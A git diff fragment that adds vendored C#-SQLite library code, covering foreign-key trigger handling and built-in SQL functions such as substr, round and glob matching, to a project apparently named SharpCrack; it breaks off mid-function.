Non-NULL for UPDATE operations */ + int chngRowid /* True for UPDATE that affects rowid */ + ) + { + if ( ( pParse.db.flags & SQLITE_ForeignKeys ) != 0 ) + { + if ( null == aChange ) + { + /* A DELETE operation. Foreign key processing is required if the + ** table in question is either the child or parent table for any + ** foreign key constraint. */ + return ( sqlite3FkReferences( pTab ) != null || pTab.pFKey != null ) ? 1 : 0; + } + else + { + /* This is an UPDATE. Foreign key processing is only required if the + ** operation modifies one or more child or parent key columns. */ + int i; + FKey p; + + /* Check if any child key columns are being modified. */ + for ( p = pTab.pFKey; p != null; p = p.pNextFrom ) + { + for ( i = 0; i < p.nCol; i++ ) + { + int iChildKey = p.aCol[i].iFrom; + if ( aChange[iChildKey] >= 0 ) + return 1; + if ( iChildKey == pTab.iPKey && chngRowid != 0 ) + return 1; + } + } + + /* Check if any parent key columns are being modified. */ + for ( p = sqlite3FkReferences( pTab ); p != null; p = p.pNextTo ) + { + for ( i = 0; i < p.nCol; i++ ) + { + string zKey = p.aCol[i].zCol; + int iKey; + for ( iKey = 0; iKey < pTab.nCol; iKey++ ) + { + Column pCol = pTab.aCol[iKey]; + if ( ( !String.IsNullOrEmpty( zKey ) ? pCol.zName.Equals( zKey, StringComparison.InvariantCultureIgnoreCase ) : pCol.isPrimKey != 0 ) ) + { + if ( aChange[iKey] >= 0 ) + return 1; + if ( iKey == pTab.iPKey && chngRowid != 0 ) + return 1; + } + } + } + } + } + } + return 0; + } + + /* + ** This function is called when an UPDATE or DELETE operation is being + ** compiled on table pTab, which is the parent table of foreign-key pFKey. + ** If the current operation is an UPDATE, then the pChanges parameter is + ** passed a pointer to the list of columns being modified. If it is a + ** DELETE, pChanges is passed a NULL pointer. + ** + ** It returns a pointer to a Trigger structure containing a trigger + ** equivalent to the ON UPDATE or ON DELETE action specified by pFKey. + ** If the action is "NO ACTION" or "RESTRICT", then a NULL pointer is + ** returned (these actions require no special handling by the triggers + ** sub-system, code for them is created by fkScanChildren()). + ** + ** For example, if pFKey is the foreign key and pTab is table "p" in + ** the following schema: + ** + ** CREATE TABLE p(pk PRIMARY KEY); + ** CREATE TABLE c(ck REFERENCES p ON DELETE CASCADE); + ** + ** then the returned trigger structure is equivalent to: + ** + ** CREATE TRIGGER ... DELETE ON p BEGIN + ** DELETE FROM c WHERE ck = old.pk; + ** END; + ** + ** The returned pointer is cached as part of the foreign key object. It + ** is eventually freed along with the rest of the foreign key object by + ** sqlite3FkDelete(). + */ + static Trigger fkActionTrigger( + Parse pParse, /* Parse context */ + Table pTab, /* Table being updated or deleted from */ + FKey pFKey, /* Foreign key to get action for */ + ExprList pChanges /* Change-list for UPDATE, NULL for DELETE */ + ) + { + sqlite3 db = pParse.db; /* Database handle */ + int action; /* One of OE_None, OE_Cascade etc. */ + Trigger pTrigger; /* Trigger definition to return */ + int iAction = ( pChanges != null ) ? 1 : 0; /* 1 for UPDATE, 0 for DELETE */ + + action = pFKey.aAction[iAction]; + pTrigger = pFKey.apTrigger[iAction]; + + if ( action != OE_None && null == pTrigger ) + { + u8 enableLookaside; /* Copy of db.lookaside.bEnabled */ + string zFrom; /* Name of child table */ + int nFrom; /* Length in bytes of zFrom */ + Index pIdx = null; /* Parent key index for this FK */ + int[] aiCol = null; /* child table cols . parent key cols */ + TriggerStep pStep = null; /* First (only) step of trigger program */ + Expr pWhere = null; /* WHERE clause of trigger step */ + ExprList pList = null; /* Changes list if ON UPDATE CASCADE */ + Select pSelect = null; /* If RESTRICT, "SELECT RAISE(...)" */ + int i; /* Iterator variable */ + Expr pWhen = null; /* WHEN clause for the trigger */ + + if ( locateFkeyIndex( pParse, pTab, pFKey, out pIdx, out aiCol ) != 0 ) + return null; + Debug.Assert( aiCol != null || pFKey.nCol == 1 ); + + for ( i = 0; i < pFKey.nCol; i++ ) + { + Token tOld = new Token( "old", 3 ); /* Literal "old" token */ + Token tNew = new Token( "new", 3 ); /* Literal "new" token */ + Token tFromCol = new Token(); /* Name of column in child table */ + Token tToCol = new Token(); /* Name of column in parent table */ + int iFromCol; /* Idx of column in child table */ + Expr pEq; /* tFromCol = OLD.tToCol */ + + iFromCol = aiCol != null ? aiCol[i] : pFKey.aCol[0].iFrom; + Debug.Assert( iFromCol >= 0 ); + tToCol.z = pIdx != null ? pTab.aCol[pIdx.aiColumn[i]].zName : "oid"; + tFromCol.z = pFKey.pFrom.aCol[iFromCol].zName; + + tToCol.n = sqlite3Strlen30( tToCol.z ); + tFromCol.n = sqlite3Strlen30( tFromCol.z ); + + /* Create the expression "OLD.zToCol = zFromCol". It is important + ** that the "OLD.zToCol" term is on the LHS of the = operator, so + ** that the affinity and collation sequence associated with the + ** parent table are used for the comparison. */ + pEq = sqlite3PExpr( pParse, TK_EQ, + sqlite3PExpr( pParse, TK_DOT, + sqlite3PExpr( pParse, TK_ID, null, null, tOld ), + sqlite3PExpr( pParse, TK_ID, null, null, tToCol ) + , 0 ), + sqlite3PExpr( pParse, TK_ID, null, null, tFromCol ) + , 0 ); + pWhere = sqlite3ExprAnd( db, pWhere, pEq ); + + /* For ON UPDATE, construct the next term of the WHEN clause. + ** The final WHEN clause will be like this: + ** + ** WHEN NOT(old.col1 IS new.col1 AND ... AND old.colN IS new.colN) + */ + if ( pChanges != null ) + { + pEq = sqlite3PExpr( pParse, TK_IS, + sqlite3PExpr( pParse, TK_DOT, + sqlite3PExpr( pParse, TK_ID, null, null, tOld ), + sqlite3PExpr( pParse, TK_ID, null, null, tToCol ), + 0 ), + sqlite3PExpr( pParse, TK_DOT, + sqlite3PExpr( pParse, TK_ID, null, null, tNew ), + sqlite3PExpr( pParse, TK_ID, null, null, tToCol ), + 0 ), + 0 ); + pWhen = sqlite3ExprAnd( db, pWhen, pEq ); + } + + if ( action != OE_Restrict && ( action != OE_Cascade || pChanges != null ) ) + { + Expr pNew; + if ( action == OE_Cascade ) + { + pNew = sqlite3PExpr( pParse, TK_DOT, + sqlite3PExpr( pParse, TK_ID, null, null, tNew ), + sqlite3PExpr( pParse, TK_ID, null, null, tToCol ) + , 0 ); + } + else if ( action == OE_SetDflt ) + { + Expr pDflt = pFKey.pFrom.aCol[iFromCol].pDflt; + if ( pDflt != null ) + { + pNew = sqlite3ExprDup( db, pDflt, 0 ); + } + else + { + pNew = sqlite3PExpr( pParse, TK_NULL, 0, 0, 0 ); + } + } + else + { + pNew = sqlite3PExpr( pParse, TK_NULL, 0, 0, 0 ); + } + pList = sqlite3ExprListAppend( pParse, pList, pNew ); + sqlite3ExprListSetName( pParse, pList, tFromCol, 0 ); + } + } + sqlite3DbFree( db, ref aiCol ); + + zFrom = pFKey.pFrom.zName; + nFrom = sqlite3Strlen30( zFrom ); + + if ( action == OE_Restrict ) + { + Token tFrom = new Token(); + Expr pRaise; + + tFrom.z = zFrom; + tFrom.n = nFrom; + pRaise = sqlite3Expr( db, TK_RAISE, "foreign key constraint failed" ); + if ( pRaise != null ) + { + pRaise.affinity = (char)OE_Abort; + } + pSelect = sqlite3SelectNew( pParse, + sqlite3ExprListAppend( pParse, 0, pRaise ), + sqlite3SrcListAppend( db, 0, tFrom, null ), + pWhere, + null, null, null, 0, null, null + ); + pWhere = null; + } + + /* Disable lookaside memory allocation */ + enableLookaside = db.lookaside.bEnabled; + db.lookaside.bEnabled = 0; + + pTrigger = new Trigger(); + //(Trigger*)sqlite3DbMallocZero( db, + // sizeof( Trigger ) + /* struct Trigger */ + // sizeof( TriggerStep ) + /* Single step in trigger program */ + // nFrom + 1 /* Space for pStep.target.z */ + // ); + //if ( pTrigger ) + { + + pStep = pTrigger.step_list = new TriggerStep();// = (TriggerStep)pTrigger[1]; + //pStep.target.z = pStep[1]; + pStep.target.n = nFrom; + pStep.target.z = zFrom;// memcpy( (char*)pStep.target.z, zFrom, nFrom ); + + pStep.pWhere = sqlite3ExprDup( db, pWhere, EXPRDUP_REDUCE ); + pStep.pExprList = sqlite3ExprListDup( db, pList, EXPRDUP_REDUCE ); + pStep.pSelect = sqlite3SelectDup( db, pSelect, EXPRDUP_REDUCE ); + if ( pWhen != null ) + { + pWhen = sqlite3PExpr( pParse, TK_NOT, pWhen, 0, 0 ); + pTrigger.pWhen = sqlite3ExprDup( db, pWhen, EXPRDUP_REDUCE ); + } + } + + /* Re-enable the lookaside buffer, if it was disabled earlier. */ + db.lookaside.bEnabled = enableLookaside; + + sqlite3ExprDelete( db, ref pWhere ); + sqlite3ExprDelete( db, ref pWhen ); + sqlite3ExprListDelete( db, ref pList ); + sqlite3SelectDelete( db, ref pSelect ); + //if ( db.mallocFailed == 1 ) + //{ + // fkTriggerDelete( db, pTrigger ); + // return 0; + //} + + switch ( action ) + { + case OE_Restrict: + pStep.op = TK_SELECT; + break; + case OE_Cascade: + if ( null == pChanges ) + { + pStep.op = TK_DELETE; + break; + } + goto default; + default: + pStep.op = TK_UPDATE; + break; + } + pStep.pTrig = pTrigger; + pTrigger.pSchema = pTab.pSchema; + pTrigger.pTabSchema = pTab.pSchema; + pFKey.apTrigger[iAction] = pTrigger; + pTrigger.op = (byte)( pChanges != null ? TK_UPDATE : TK_DELETE ); + } + + return pTrigger; + } + + /* + ** This function is called when deleting or updating a row to implement + ** any required CASCADE, SET NULL or SET DEFAULT actions. + */ + static void sqlite3FkActions( + Parse pParse, /* Parse context */ + Table pTab, /* Table being updated or deleted from */ + ExprList pChanges, /* Change-list for UPDATE, NULL for DELETE */ + int regOld /* Address of array containing old row */ + ) + { + /* If foreign-key support is enabled, iterate through all FKs that + ** refer to table pTab. If there is an action a6ssociated with the FK + ** for this operation (either update or delete), invoke the associated + ** trigger sub-program. */ + if ( ( pParse.db.flags & SQLITE_ForeignKeys ) != 0 ) + { + FKey pFKey; /* Iterator variable */ + for ( pFKey = sqlite3FkReferences( pTab ); pFKey != null; pFKey = pFKey.pNextTo ) + { + Trigger pAction = fkActionTrigger( pParse, pTab, pFKey, pChanges ); + if ( pAction != null ) + { + sqlite3CodeRowTriggerDirect( pParse, pAction, pTab, regOld, OE_Abort, 0 ); + } + } + } + } + +#endif //* ifndef SQLITE_OMIT_TRIGGER */ + + /* +** Free all memory associated with foreign key definitions attached to +** table pTab. Remove the deleted foreign keys from the Schema.fkeyHash +** hash table. +*/ + static void sqlite3FkDelete( sqlite3 db, Table pTab ) + { + FKey pFKey; /* Iterator variable */ + FKey pNext; /* Copy of pFKey.pNextFrom */ + + Debug.Assert( db == null || sqlite3SchemaMutexHeld( db, 0, pTab.pSchema ) ); + for ( pFKey = pTab.pFKey; pFKey != null; pFKey = pNext ) + { + + /* Remove the FK from the fkeyHash hash table. */ + //if ( null == db || db.pnBytesFreed == 0 ) + { + if ( pFKey.pPrevTo != null ) + { + pFKey.pPrevTo.pNextTo = pFKey.pNextTo; + } + else + { + FKey p = pFKey.pNextTo; + string z = ( p != null ? pFKey.pNextTo.zTo : pFKey.zTo ); + sqlite3HashInsert( ref pTab.pSchema.fkeyHash, z, sqlite3Strlen30( z ), p ); + } + if ( pFKey.pNextTo != null ) + { + pFKey.pNextTo.pPrevTo = pFKey.pPrevTo; + } + } + + /* EV: R-30323-21917 Each foreign key constraint in SQLite is + ** classified as either immediate or deferred. + */ + Debug.Assert( pFKey.isDeferred == 0 || pFKey.isDeferred == 1 ); + + /* Delete any triggers created to implement actions for this FK. */ +#if !SQLITE_OMIT_TRIGGER + fkTriggerDelete( db, pFKey.apTrigger[0] ); + fkTriggerDelete( db, pFKey.apTrigger[1] ); +#endif + + pNext = pFKey.pNextFrom; + sqlite3DbFree( db, ref pFKey ); + } + } +#endif //* ifndef SQLITE_OMIT_FOREIGN_KEY */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/func_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/func_c.cs new file mode 100644 index 0000000..f5d7dd7 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/func_c.cs @@ -0,0 +1,2147 @@ +using System; +using System.Diagnostics; +using System.Text; + +using sqlite3_int64 = System.Int64; +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; +using u64 = System.UInt64; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + using sqlite_int64 = System.Int64; + + public partial class Sqlite3 + { + /* + ** 2002 February 23 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement various SQL + ** functions of SQLite. + ** + ** There is only one exported symbol in this file - the function + ** sqliteRegisterBuildinFunctions() found at the bottom of the file. + ** All other code has file scope. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + //#include + //#include "vdbeInt.h" + + + /* + ** Return the collating function associated with a function. + */ + static CollSeq sqlite3GetFuncCollSeq( sqlite3_context context ) + { + return context.pColl; + } + + /* + ** Implementation of the non-aggregate min() and max() functions + */ + static void minmaxFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int i; + int mask; /* 0 for min() or 0xffffffff for max() */ + int iBest; + CollSeq pColl; + + Debug.Assert( argc > 1 ); + mask = (int)sqlite3_user_data( context ) == 0 ? 0 : -1; + pColl = sqlite3GetFuncCollSeq( context ); + Debug.Assert( pColl != null ); + Debug.Assert( mask == -1 || mask == 0 ); + testcase( mask == 0 ); + iBest = 0; + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) + return; + for ( i = 1; i < argc; i++ ) + { + if ( sqlite3_value_type( argv[i] ) == SQLITE_NULL ) + return; + if ( ( sqlite3MemCompare( argv[iBest], argv[i], pColl ) ^ mask ) >= 0 ) + { + iBest = i; + } + } + sqlite3_result_value( context, argv[iBest] ); + } + + /* + ** Return the type of the argument. + */ + static void typeofFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + string z = ""; + UNUSED_PARAMETER( NotUsed ); + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_INTEGER: + z = "integer"; + break; + case SQLITE_TEXT: + z = "text"; + break; + case SQLITE_FLOAT: + z = "real"; + break; + case SQLITE_BLOB: + z = "blob"; + break; + default: + z = "null"; + break; + } + sqlite3_result_text( context, z, -1, SQLITE_STATIC ); + } + + + /* + ** Implementation of the length() function + */ + static void lengthFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int len; + + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_BLOB: + case SQLITE_INTEGER: + case SQLITE_FLOAT: + { + sqlite3_result_int( context, sqlite3_value_bytes( argv[0] ) ); + break; + } + case SQLITE_TEXT: + { + byte[] z = sqlite3_value_blob( argv[0] ); + if ( z == null ) + return; + len = 0; + int iz = 0; + while ( iz < z.Length && z[iz] != '\0' ) + { + len++; + SQLITE_SKIP_UTF8( z, ref iz ); + } + sqlite3_result_int( context, len ); + break; + } + default: + { + sqlite3_result_null( context ); + break; + } + } + } + + /* + ** Implementation of the abs() function. + ** + ** IMP: R-23979-26855 The abs(X) function returns the absolute value of + ** the numeric argument X. + */ + static void absFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_INTEGER: + { + i64 iVal = sqlite3_value_int64( argv[0] ); + if ( iVal < 0 ) + { + if ( ( iVal << 1 ) == 0 ) + { + /* IMP: R-35460-15084 If X is the integer -9223372036854775807 then + ** abs(X) throws an integer overflow error since there is no + ** equivalent positive 64-bit two complement value. */ + sqlite3_result_error( context, "integer overflow", -1 ); + return; + } + iVal = -iVal; + } + sqlite3_result_int64( context, iVal ); + break; + } + case SQLITE_NULL: + { + /* IMP: R-37434-19929 Abs(X) returns NULL if X is NULL. */ + sqlite3_result_null( context ); + break; + } + default: + { + /* Because sqlite3_value_double() returns 0.0 if the argument is not + ** something that can be converted into a number, we have: + ** IMP: R-57326-31541 Abs(X) return 0.0 if X is a string or blob that + ** cannot be converted to a numeric value. + */ + double rVal = sqlite3_value_double( argv[0] ); + if ( rVal < 0 ) + rVal = -rVal; + sqlite3_result_double( context, rVal ); + break; + } + } + } + + /* + ** Implementation of the substr() function. + ** + ** substr(x,p1,p2) returns p2 characters of x[] beginning with p1. + ** p1 is 1-indexed. So substr(x,1,1) returns the first character + ** of x. If x is text, then we actually count UTF-8 characters. + ** If x is a blob, then we count bytes. + ** + ** If p1 is negative, then we begin abs(p1) from the end of x[]. + ** + ** If p2 is negative, return the p2 characters preceeding p1. + */ + static void substrFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string z = ""; + byte[] zBLOB = null; + string z2; + int len; + int p0type; + int p1, p2; + int negP2 = 0; + + Debug.Assert( argc == 3 || argc == 2 ); + if ( sqlite3_value_type( argv[1] ) == SQLITE_NULL + || ( argc == 3 && sqlite3_value_type( argv[2] ) == SQLITE_NULL ) + ) + { + return; + } + p0type = sqlite3_value_type( argv[0] ); + p1 = sqlite3_value_int( argv[1] ); + if ( p0type == SQLITE_BLOB ) + { + len = sqlite3_value_bytes( argv[0] ); + zBLOB = argv[0].zBLOB; + if ( zBLOB == null ) + return; + Debug.Assert( len == zBLOB.Length ); + } + else + { + z = sqlite3_value_text( argv[0] ); + if ( String.IsNullOrEmpty( z ) ) + return; + len = 0; + if ( p1 < 0 ) + { + len = z.Length; + //for ( z2 = z ; z2 != "" ; len++ ) + //{ + // SQLITE_SKIP_UTF8( ref z2 ); + //} + } + } + if ( argc == 3 ) + { + p2 = sqlite3_value_int( argv[2] ); + if ( p2 < 0 ) + { + p2 = -p2; + negP2 = 1; + } + } + else + { + p2 = ( sqlite3_context_db_handle( context ) ).aLimit[SQLITE_LIMIT_LENGTH]; + } + if ( p1 < 0 ) + { + p1 += len; + if ( p1 < 0 ) + { + p2 += p1; + if ( p2 < 0 ) + p2 = 0; + p1 = 0; + } + } + else if ( p1 > 0 ) + { + p1--; + } + else if ( p2 > 0 ) + { + p2--; + } + if ( negP2 != 0 ) + { + p1 -= p2; + if ( p1 < 0 ) + { + p2 += p1; + p1 = 0; + } + } + Debug.Assert( p1 >= 0 && p2 >= 0 ); + if ( p0type != SQLITE_BLOB ) + { + //while ( z != "" && p1 != 0 ) + //{ + // SQLITE_SKIP_UTF8( ref z ); + // p1--; + //} + //for ( z2 = z ; z2 != "" && p2 != 0 ; p2-- ) + //{ + // SQLITE_SKIP_UTF8( ref z2 ); + //} + sqlite3_result_text( context, z, p1, p2 <= z.Length - p1 ? p2 : z.Length - p1, SQLITE_TRANSIENT ); + } + else + { + if ( p1 + p2 > len ) + { + p2 = len - p1; + if ( p2 < 0 ) + p2 = 0; + } + StringBuilder sb = new StringBuilder( zBLOB.Length ); + if ( zBLOB.Length == 0 || p1 > zBLOB.Length ) + sb.Length = 0; + else + { + for ( int i = p1; i < p1 + p2; i++ ) + { + sb.Append( (char)zBLOB[i] ); + } + } + + sqlite3_result_blob( context, sb.ToString(), (int)p2, SQLITE_TRANSIENT ); + } + } + + /* + ** Implementation of the round() function + */ +#if !SQLITE_OMIT_FLOATING_POINT + static void roundFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int n = 0; + double r; + string zBuf = ""; + Debug.Assert( argc == 1 || argc == 2 ); + if ( argc == 2 ) + { + if ( SQLITE_NULL == sqlite3_value_type( argv[1] ) ) + return; + n = sqlite3_value_int( argv[1] ); + if ( n > 30 ) + n = 30; + if ( n < 0 ) + n = 0; + } + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) + return; + r = sqlite3_value_double( argv[0] ); + /* If Y==0 and X will fit in a 64-bit int, + ** handle the rounding directly, + ** otherwise use printf. + */ + if ( n == 0 && r >= 0 && r < LARGEST_INT64 - 1 ) + { + r = (double)( (sqlite_int64)( r + 0.5 ) ); + } + else if ( n == 0 && r < 0 && ( -r ) < LARGEST_INT64 - 1 ) + { + r = -(double)( (sqlite_int64)( ( -r ) + 0.5 ) ); + } + else + { + zBuf = sqlite3_mprintf( "%.*f", n, r ); + if ( zBuf == null ) + { + sqlite3_result_error_nomem( context ); + return; + } + sqlite3AtoF( zBuf, ref r, sqlite3Strlen30( zBuf ), SQLITE_UTF8 ); + //sqlite3_free( ref zBuf ); + } + sqlite3_result_double( context, r ); + } +#endif + + /* +** Allocate nByte bytes of space using sqlite3_malloc(). If the +** allocation fails, call sqlite3_result_error_nomem() to notify +** the database handle that malloc() has failed and return NULL. +** If nByte is larger than the maximum string or blob length, then +** raise an SQLITE_TOOBIG exception and return NULL. +*/ + //static void* contextMalloc( sqlite3_context* context, i64 nByte ) + //{ + // char* z; + // sqlite3* db = sqlite3_context_db_handle( context ); + // assert( nByte > 0 ); + // testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] ); + // testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] + 1 ); + // if ( nByte > db->aLimit[SQLITE_LIMIT_LENGTH] ) + // { + // sqlite3_result_error_toobig( context ); + // z = 0; + // } + // else + // { + // z = sqlite3Malloc( (int)nByte ); + // if ( !z ) + // { + // sqlite3_result_error_nomem( context ); + // } + // } + // return z; + //} + + /* + ** Implementation of the upper() and lower() SQL functions. + */ + static void upperFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string z1; + string z2; + int i, n; + UNUSED_PARAMETER( argc ); + z2 = sqlite3_value_text( argv[0] ); + n = sqlite3_value_bytes( argv[0] ); + /* Verify that the call to _bytes() does not invalidate the _text() pointer */ + //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) ); + if ( z2 != null ) + { + //z1 = new byte[n];// contextMalloc(context, ((i64)n)+1); + //if ( z1 !=null) + //{ + // memcpy( z1, z2, n + 1 ); + //for ( i = 0 ; i< z1.Length ; i++ ) + //{ + //(char)sqlite3Toupper( z1[i] ); + //} + sqlite3_result_text( context, z2.Length == 0 ? "" : z2.Substring( 0, n ).ToUpper(), -1, null ); //sqlite3_free ); + // } + } + } + + static void lowerFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string z1; + string z2; + int i, n; + UNUSED_PARAMETER( argc ); + z2 = sqlite3_value_text( argv[0] ); + n = sqlite3_value_bytes( argv[0] ); + /* Verify that the call to _bytes() does not invalidate the _text() pointer */ + //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) ); + if ( z2 != null ) + { + //z1 = contextMalloc(context, ((i64)n)+1); + //if ( z1 ) + //{ + // memcpy( z1, z2, n + 1 ); + // for ( i = 0 ; z1[i] ; i++ ) + // { + // z1[i] = (char)sqlite3Tolower( z1[i] ); + // } + sqlite3_result_text( context, z2.Length == 0 ? "" : z2.Substring( 0, n ).ToLower(), -1, null );//sqlite3_free ); + //} + } + } + +#if FALSE //* This function is never used. */ +/* +** The COALESCE() and IFNULL() functions used to be implemented as shown +** here. But now they are implemented as VDBE code so that unused arguments +** do not have to be computed. This legacy implementation is retained as +** comment. +*/ +/* +** Implementation of the IFNULL(), NVL(), and COALESCE() functions. +** All three do the same thing. They return the first non-NULL +** argument. +*/ +static void ifnullFunc( +sqlite3_context context, +int argc, +sqlite3_value[] argv +) +{ +int i; +for ( i = 0 ; i < argc ; i++ ) +{ +if ( SQLITE_NULL != sqlite3_value_type( argv[i] ) ) +{ +sqlite3_result_value( context, argv[i] ); +break; +} +} +} +#endif //* NOT USED */ + //#define ifnullFunc versionFunc /* Substitute function - never called */ + + /* + ** Implementation of random(). Return a random integer. + */ + static void randomFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite_int64 r = 0; + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_randomness( sizeof( sqlite_int64 ), ref r ); + if ( r < 0 ) + { + /* We need to prevent a random number of 0x8000000000000000 + ** (or -9223372036854775808) since when you do abs() of that + ** number of you get the same value back again. To do this + ** in a way that is testable, mask the sign bit off of negative + ** values, resulting in a positive value. Then take the + ** 2s complement of that positive value. The end result can + ** therefore be no less than -9223372036854775807. + */ + r = -( r ^ ( ( (sqlite3_int64)1 ) << 63 ) ); + } + sqlite3_result_int64( context, r ); + } + + /* + ** Implementation of randomblob(N). Return a random blob + ** that is N bytes long. + */ + static void randomBlob( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int n; + char[] p; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + n = sqlite3_value_int( argv[0] ); + if ( n < 1 ) + { + n = 1; + } + if ( n > sqlite3_context_db_handle(context).aLimit[SQLITE_LIMIT_LENGTH] ) + { + sqlite3_result_error_toobig( context ); + p = null; + } + else + { + p = new char[n]; //contextMalloc( context, n ); + } + if ( p != null ) + { + i64 _p = 0; + for ( int i = 0; i < n; i++ ) + { + sqlite3_randomness( sizeof( u8 ), ref _p ); + p[i] = (char)( _p & 0x7F ); + } + sqlite3_result_blob( context, new string( p ), n, null );//sqlite3_free ); + } + } + + /* + ** Implementation of the last_insert_rowid() SQL function. The return + ** value is the same as the sqlite3_last_insert_rowid() API function. + */ + static void last_insert_rowid( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite3 db = sqlite3_context_db_handle( context ); + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + /* IMP: R-51513-12026 The last_insert_rowid() SQL function is a + ** wrapper around the sqlite3_last_insert_rowid() C/C++ interface + ** function. */ + sqlite3_result_int64( context, sqlite3_last_insert_rowid( db ) ); + } + + /* + ** Implementation of the changes() SQL function. + ** + ** IMP: R-62073-11209 The changes() SQL function is a wrapper + ** around the sqlite3_changes() C/C++ function and hence follows the same + ** rules for counting changes. + */ + static void changes( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite3 db = sqlite3_context_db_handle( context ); + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_result_int( context, sqlite3_changes( db ) ); + } + + /* + ** Implementation of the total_changes() SQL function. The return value is + ** the same as the sqlite3_total_changes() API function. + */ + static void total_changes( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + sqlite3 db = (sqlite3)sqlite3_context_db_handle( context ); + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + /* IMP: R-52756-41993 This function is a wrapper around the + ** sqlite3_total_changes() C/C++ interface. */ + sqlite3_result_int( context, sqlite3_total_changes( db ) ); + } + + /* + ** A structure defining how to do GLOB-style comparisons. + */ + struct compareInfo + { + public char matchAll; + public char matchOne; + public char matchSet; + public bool noCase; + public compareInfo( char matchAll, char matchOne, char matchSet, bool noCase ) + { + this.matchAll = matchAll; + this.matchOne = matchOne; + this.matchSet = matchSet; + this.noCase = noCase; + } + }; + + /* + ** For LIKE and GLOB matching on EBCDIC machines, assume that every + ** character is exactly one byte in size. Also, all characters are + ** able to participate in upper-case-to-lower-case mappings in EBCDIC + ** whereas only characters less than 0x80 do in ASCII. + */ + //#if defined(SQLITE_EBCDIC) + //# define sqlite3Utf8Read(A,C) (*(A++)) + //# define GlogUpperToLower(A) A = sqlite3UpperToLower[A] + //#else + //# define GlogUpperToLower(A) if( !((A)&~0x7f) ){ A = sqlite3UpperToLower[A]; } + //#endif + + static compareInfo globInfo = new compareInfo( '*', '?', '[', false ); + /* The correct SQL-92 behavior is for the LIKE operator to ignore + ** case. Thus 'a' LIKE 'A' would be true. */ + static compareInfo likeInfoNorm = new compareInfo( '%', '_', '\0', true ); + /* If SQLITE_CASE_SENSITIVE_LIKE is defined, then the LIKE operator + ** is case sensitive causing 'a' LIKE 'A' to be false */ + static compareInfo likeInfoAlt = new compareInfo( '%', '_', '\0', false ); + + /* + ** Compare two UTF-8 strings for equality where the first string can + ** potentially be a "glob" expression. Return true (1) if they + ** are the same and false (0) if they are different. + ** + ** Globbing rules: + ** + ** '*' Matches any sequence of zero or more characters. + ** + ** '?' Matches exactly one character. + ** + ** [...] Matches one character from the enclosed list of + ** characters. + ** + ** [^...] Matches one character not in the enclosed list. + ** + ** With the [...] and [^...] matching, a ']' character can be included + ** in the list by making it the first character after '[' or '^'. A + ** range of characters can be specified using '-'. Example: + ** "[a-z]" matches any single lower-case letter. To match a '-', make + ** it the last character in the list. + ** + ** This routine is usually quick, but can be N**2 in the worst case. + ** + ** Hints: to match '*' or '?', put them in "[]". Like this: + ** + ** abc[*]xyz Matches "abc*xyz" only + */ + static bool patternCompare( + string zPattern, /* The glob pattern */ + string zString, /* The string to compare against the glob */ + compareInfo pInfo, /* Information about how to do the compare */ + u32 esc /* The escape character */ + ) + { + u32 c, c2; + int invert; + int seen; + int matchOne = (int)pInfo.matchOne; + int matchAll = (int)pInfo.matchAll; + int matchSet = (int)pInfo.matchSet; + bool noCase = pInfo.noCase; + bool prevEscape = false; /* True if the previous character was 'escape' */ + string inPattern = zPattern; //Entered Pattern + + while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) != 0 ) + { + if ( !prevEscape && c == matchAll ) + { + while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) == matchAll + || c == matchOne ) + { + if ( c == matchOne && sqlite3Utf8Read( zString, ref zString ) == 0 ) + { + return false; + } + } + if ( c == 0 ) + { + return true; + } + else if ( c == esc ) + { + c = sqlite3Utf8Read( zPattern, ref zPattern ); + if ( c == 0 ) + { + return false; + } + } + else if ( c == matchSet ) + { + Debug.Assert( esc == 0 ); /* 